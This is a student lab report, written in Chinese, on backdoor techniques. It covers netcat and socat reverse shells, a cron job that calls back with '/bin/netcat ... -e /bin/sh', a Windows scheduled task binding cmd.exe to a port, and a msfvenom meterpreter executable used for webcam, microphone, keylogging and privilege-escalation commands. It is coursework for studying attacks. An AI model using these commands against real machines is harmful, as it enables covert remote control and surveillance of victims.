20155333 《网络对抗》Exp2 后门原理与实践
20155333 《网络对抗》Exp2 后门原理与实践
1、例举你能想到的一个后门进入到你系统中的可能方式?
- 下载的软件中捆绑有后门;
- 浏览的网页或其上的小广告;
- 有些网页会自动安装软件。
2、例举你知道的后门如何启动起来(win及linux)的方式? - 在Windows下在控制面板的管理工具中可以设置任务计划启动;
- 修改注册表,自启动;
- 对后门程序进行伪装,诱骗用户点击启动;
3、Meterpreter有哪些给你映像深刻的功能? - 获取目标主机音频、摄像头、击键记录等内容。
4、如何发现自己有系统有没有被安装后门? - 利用防火墙还有杀毒软件等
- 检查防火墙开启的端口和它对应的进程,如果不是系统默认开启的端口都有嫌疑,找到对应的进程,对其进行抓包分析;
- 观察注册表里的进程。
常用后门工具实践
Windows获得Linux Shell
1、在Windows下,先使用ipconfig
指令查看本机IP:
2、使用ncat.exe程序监听本机的8888端口:
3、在Kali环境下,使用nc
指令的-e
选项反向连接Windows主机的8888端口:
4、Windows下成功获得了一个Kali的shell,运行ls
指令如下:
Linux获得Windows Shell
1、过程与之前的类似,在Kali环境下用ifconfig
查看IP:
2、使用nc
指令监听8888端口:
3、在Windows下,使用ncat.exe程序的-e
选项项反向连接Kali主机的8888端口
4、Kali下可以看到Windows的命令提示,可以输入Windows命令:
使用netcat获取主机操作Shell,cron启动
1、先在Windows系统下,监听8888端口
2、在Kali环境下,使用man crontab
指令查看crontab命令的帮助文档,从文档中可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
kali系统内每分钟自动运行指令,反弹至pc端的8888端口
3、用crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
4、在最后一行添加17 * * * * /bin/netcat 192.168.199.125 8888 -e /bin/sh
,意思是在每个小时的第17分钟反向连接Windows主机的8888端口,就会启动cron。设置成17的原因是我当时的时间是23点14,为了能立马看到效果,所以我将时间设置在了3分钟以后:
输入完成命令后,windows的cmd这里在时间到的时候输入dir命令没有任何反应。
后来发现在最开始选择编辑器那里选择错了编辑器,/bin/nano
没有用vim,所以在输入的时候不会使用。后面再搜索如何更改crontab的编辑器:
输入sudo select-editor
再用crontab -e
指令:在最后一行添加17 * * * * /bin/netcat 192.168.199.125 8888 -e /bin/sh
当时间到了23点17时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了17分时会立马显示出来):
使用socat获取主机操作Shell, 任务计划启动
基础知识
1、socat是ncat的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。
2、socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程
1、在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
2、在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:8888 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout上:
3、创建完成之后,按Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
4、此时,在Kali环境下输入指令socat - tcp:192.168.43.56:8888,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的8888端口,此时可以发现已经成功获得了一个cmd shell:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.146 LPORT=8888 -f exe > 20155333_backdoor.exe
生成后门程序:
2、通过nc
指令将生成的后门程序传送到Windows主机上:
3、在Kali上使用msfconsole
指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
4、设置完成后,执行监听:
5、打开Windows上的后门程序:
6、此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1、使用record_mic
指令可以截获一段音频:
2、使用webcam_snap
指令可以使用摄像头进行拍照:
3、使用webcam stream
指令可以使用摄像头进行录像:
4、使用screenshot
指令可以进行截屏:
5、使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
6、先使用getuid
指令查看当前用户,使用getsystem
指令进行提权.
实验总结与体会
这次实验确实像老师所说的一样很有趣,虽然在MSF这部分重做了很多次,中途电脑还蓝屏了,但看到成果还是很开心的(大概是因为终于做完了)。还得申明一下,中途换了IP是因为换了网。